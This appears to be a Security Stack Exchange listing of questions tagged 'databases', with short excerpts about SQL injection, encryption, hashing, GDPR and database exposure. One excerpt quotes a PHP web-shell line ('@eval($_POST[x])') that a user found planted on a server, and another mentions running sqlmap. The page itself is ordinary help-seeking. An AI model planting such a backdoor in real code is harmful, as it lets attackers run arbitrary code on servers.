Questions tagged [databases]
Security related aspects of databases and database access.
686
questions
0
votes
1answer
43 views
public MySQL via XAMPP - security - whitelisting IP's versus VPN
I'm working on app that uses MySQL database on XAMPP Control Panel on Windows.
I am concerned about security part.
I received advice about connecting to MySQL through VPN so it won't be accessible so ...
8
votes
1answer
2k views
How does Google save our passwords on their server?
My friend recently told me that:
Google doesn't have our passwords saved on their database. Instead they put our password when typed on browser, through an algorithm and it'll produce a unique ...
0
votes
1answer
47 views
Is possible to deliver a dos attack increasing a database table?
If a user through a request can add a record to a table (for each request) is theoretically possible that he could cause a dos attack just increasing the size of a table?
0
votes
0answers
56 views
How could I improve the security of my design?
I’m building an open-source notes app using electron.
I’ll be using rxdb which uses crypto-js to encrypt fields using AES-256 after getting a passphrase and using pbkdf2 to generate a key. Rxdb is a ...
0
votes
0answers
53 views
What tools/checklists can help determine the presence of malicious code in a database? MS SQL specifically
Consider a scenario, where your AV / EDR software has to exclude paths of database files as suggested by vendors to avoid affecting performance or stability issues.
You want to review your database ...
0
votes
0answers
47 views
EU GDPR: Can someone store the data inside EU but process them in US [duplicate]
I'm a bit lost in here and need some direction.
According to the EU GDPR, the PII data should never leave the EU.
But, Can they be taken out and processed outside? such as in a server that is situated ...
0
votes
0answers
29 views
How easy to crack simple, custom algorithm? [duplicate]
Out of curiosity. I am a green as grass programmer coming from other career disciplines and am learning multiple languages right now so play nice and keep it simple please. Interested in simple ...
1
vote
2answers
106 views
SQL injection using brute force?
I am studying about cyber defense lately for fun and found about a proposed method that as I understand it performs automated SQL injection using brute force by training a model. At some point it says ...
0
votes
1answer
41 views
SQL TLS termination on Load Balancer
From what I understood TLS is protocol independent of HTTPS and can be used with other protocols as well. For example in order to connect to MS SQL server via encrypted connection I'll have to enable ...
1
vote
0answers
50 views
When using parameterized SQL queries, is there still any *security* issue with simply blindly accepting user input variables?
Suppose I have this:
parameterized_database_call('SELECT * FROM widgets WHERE id = $1', $_GET['widget_id']);
The SQL query is parameterized, as I've done for many years now. (I'm trying to repress ...
0
votes
0answers
47 views
How to deal with new clients in a hybrid encrypted database?
I'm working on a private project and I'm not really sure about hybrid encryption. I am not a security expert but just a student. Background: I'm working on a project that uses couchDB as a database in ...
-1
votes
1answer
240 views
Do websites ever delete data about me and my activities? [closed]
I wanted to know for how long Porn websites retain data about visitors' IP addresses and the specific pages they visit. I wanted to check it for Pornhub, xnxx, and xvideos. However, my country ...
2
votes
1answer
117 views
Encrypting links between registered users and their sensitive data
I want to make it impractical to link the users to their sensitive data without their passwords – even with a full access to the database.
Furthermore, if a user has multiple pieces of sensitive data, ...
0
votes
1answer
49 views
Should I obscure database primary keys for the frontend even if these ids are uuidv4 Ids?
After reading through the answers of the related question (the same question but about integer primary keys), I was wondering if there is any reason to hash uuidv4 primary keys and sending the hash to ...
0
votes
1answer
82 views
What (aside from the law) prevents cloud-hosting owners from eavesdropping on servers/code?
Given a server hosted on a cloud platform, what would stop the cloud platform owner from stealing the server's data and/or code?
As far as I can tell, a motivated cloud owner could retrieve the data ...
0
votes
0answers
59 views
Saving secrets (API-keys for external application) per user in database (PKI?)
I'm developing a web-app which communicates with an external email message application through its HTTP API. My web-app consists of a JS (Svelte) front-end and a Node.js back-end.
Each user on my app ...
0
votes
0answers
25 views
Implications of querying OrientDB directly from front-end
Give that OrientDB exposes a REST HTTP API, and that it seems to have quite a few security features, what are the (especially security) implications of querying OrientDB directly from a front end web ...
1
vote
2answers
227 views
How to not use database identifiers in a URL in the context of a REST API
During my IT school years, I was told that including rows identifiers from a database in the resource URL, in the context of a REST API, is a bad practice. To my understanding, the rationale behind ...
0
votes
1answer
52 views
Can I recover files that I had on windows from a SSD that I converted to apfs (mac) and which method or tool to use?
I had some files that I want to recover from windows, but I formatted the ssd drive to macos (apfs)? Is there a tool or method to recover those files?
1
vote
2answers
161 views
What personal data should be encrypted in a database?
I am having trouble answering what seems like a simple question. I was hoping to find a Yep/Nope style list somewhere, but can't seem to find one.
What data should be encrypted in a cloud (e.g. AWS/...
0
votes
0answers
77 views
Cryptographic way to detect deleted rows in a database table
I have a web application talking to a PostgreSQL database.
My threat model is the following:
Attacks must not occur at rest. What i'm afraid of is unwanted deletion of data on a specific table, let's ...
0
votes
0answers
85 views
Sanitising data for a flutter application
I am having trouble with some user input security. I have a Flutter app where users can submit comments that can contain text e.g. a-z characters, numbers, symbols and emojis. These are stored in a ...
1
vote
0answers
71 views
Keeping data confidential from the system administrator
Problem
How do I ensure that I cannot access confidential data manually through the database? Practically speaking, this is a firestore database on google cloud, and I have access to the administrator ...
6
votes
6answers
2k views
What's more vulnerable; the data or the DBMS?
When data breaches occur, is a database always involved?
In the case of databases being involved, do hackers figure out how the data is stored and read this or do they just figure out how to make ...
1
vote
1answer
154 views
PCI Compliance for developers accessing a production database for support
As a developer, when an Incident comes in and reaches Tier 3 support (The development team), how can the developers get access to query the Production Database, while remaining PCI Compliant? I'm ...
0
votes
2answers
62 views
What can you do to make a hashed token database retrievable at a later date?
I have a table for single use tokens, and one of the columns is a token_digest which contains a bcrypt hash of the access token. Since the token_digest is a salted and hashed version of the plaintext ...
0
votes
1answer
51 views
What are useful use cases for employing asymmetric cryptography in a database?
I see that many relational database systems offer asymmetric (private/public key) cryptography functions. For example, PostgreSQL offers the pgcrypto module, which supports OpenPGP (RFC 4880) ...
0
votes
0answers
50 views
SQL Injection Doesn't Sanitize But Doesn't Execute Commands
I am currently doing a pentesting on a web application and focusing more on SQL Injection. This company I am pentesting have a functionality in which we are allowed to buy things from the vendors/...
3
votes
2answers
208 views
Is it safe to store data of small company in MySQL database on webhost?
A small company has a big list of customers. The list contains personal information like names, phone numbers, addresses, info (like what products bought) and some small notes. The data is stored at ...
0
votes
1answer
142 views
Is it okay to log sql queries for debugging
I was adding logging to my application. And I realized that there are times when I need to debug my sql statements and logging them (at debug logging level of course) would make debugging very easy. I ...
0
votes
1answer
73 views
Is it safe to expose port 22 on a database VM? [closed]
I have seen many answers to this question in different scenarios but I am still unsure of the actual answer.
I have a VM in the cloud (Azure), which will be hosting my production database. Is it safe ...
0
votes
1answer
82 views
Virus / malware stored inside database
I have a small network of several Windows 10 machines (all protected by BitDefender 2020 Total Security), one of which acts as server with Firebird database.
For some time the database is ...
0
votes
2answers
519 views
sqlmap won't give me results i'm looking for [closed]
I am trying to use sqlmap. Although every time I use it, I just get a response of:
[13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
[13:39:11] [...
3
votes
0answers
138 views
What is the Meow Attack and how can I guard my databases against it?
Recently, there has been some news articles about unsolicited attacks on unsecured public facing Elastic and Mongo databases. These are commonly being called "Meow" attacks, resulting in ...
1
vote
0answers
50 views
Does Snowflake Data Sharing add any real security?
Snowflake is a cloud database like Google BigQuery or Amazon Redshift. Unlike them, however, it markets a "Secure Data Sharing" feature.
They go to some effort (including a full "Data ...
0
votes
0answers
21 views
.php code in .txt file with eval() function [duplicate]
I have found three files with name as below:
a.phpfile.txt
b.phpfile.txt
c.phpfile.txt
when i open, each file contained with the following code:
<?php @eval($_POST[x]);
I have deleted all ...
0
votes
2answers
105 views
Sign records in a database [closed]
I have a table in my database where I store records to be processed later (basically orders that need to be invoiced or something similar, but this is not the important part).
Since this software runs ...
2
votes
2answers
257 views
Is it safe to keep decrypted data in memory?
Due to new laws in my country, any personal information must to be stored encrypted in the database.
So, to be able to perform querys over this data I was thinking to keep an in-memory copy of these ...
0
votes
0answers
47 views
Calculating the privacy that Renyi (ε,δ) Differential Privacy satisfies
I add differential privacy (DP) to my machine learning models by using PyTorch-DP. PyTorch-DP supplies me with the values: εand δ. I know that the εtells us something about the probability ρ that ...
0
votes
1answer
59 views
What are the downsides to having PostgreSQL database available directly from public network?
When auditing a machine for one of my clients I noticed that they have PostgreSQL listening and accessible from public network. This is not necessary for their application, seems they simply neglected ...
0
votes
2answers
142 views
Is it possible for a database to be impenetrable?
I was wondering if it is possible to create some sort of database that is physically impossible to enter. While creating it, you store some information in it and program it to spit that information ...
1
vote
2answers
179 views
HIPAA data encryption - Is database level encryption is enough?
If the database has a built in encryption possible such as Azure SQL Server's, Transparent Data Encryption (TDE) would this be enough for getting the HIPAA compliance ? Or even before storing any data ...
0
votes
1answer
136 views
Is my code safe enough to be publish on the server side? [duplicate]
I'm new here to ask a question. Sorry if my question had miss explanation. I just wanna ask if my PHP code is secure enough. Please find below is the source code:
Get the ID for choosing the Value
...
5
votes
1answer
126 views
Giving different passwords to the app servers to access the same database. Pros and Cons?
Let's say we have
one db server.
three app servers with full database access.
Which scenario is the best?
Each app server connects to that one database with different passwords.
Example: app srv 1 ...
1
vote
0answers
18 views
Abstract data access to user data in large-scale webservices
I am doing research on large-scale webservices and I am trying to understand what common techniques are to prevent user data being accidentally leaked to other logged in users. Especially where end-to-...
0
votes
1answer
83 views
Securing my Firebase account
I use a firebase database to store users locations in it (by using GeoFire).
Except for this parameter, everything else in the database does not include any information.
My problem is that I cannot ...
2
votes
1answer
87 views
Explaining a bad approach - not comparing hashes
Today I saw a snippet a code for authentication logic :
function checkPass($pass, $login){
$inputedPass = $pass;
$req = $bdd->prepare('SELECT password FROM agents WHERE password = ...
1
vote
2answers
66 views
Wordpress Backups and Security
Apart from all the other security and design flaws of Wordpress, there is 1 point that particularly got my attention: "Automatic Backups".
These are saved inside the Wordpress directory. If you ask ...
0
votes
1answer
65 views
Database breach protection [duplicate]
I'm developing an API which requires an API key to use. These keys are assigned to users. To figure out which user the key belongs to, I have to store some information in that key. But I don't want it ...
2
votes
2answers
127 views
How to store MFA secret
I have an online application that I'm adding MFA to, using the Google / Microsoft Authenticator apps for mobile phones. I've tried to adopt a security focussed approach to storing the MFA secret and ...
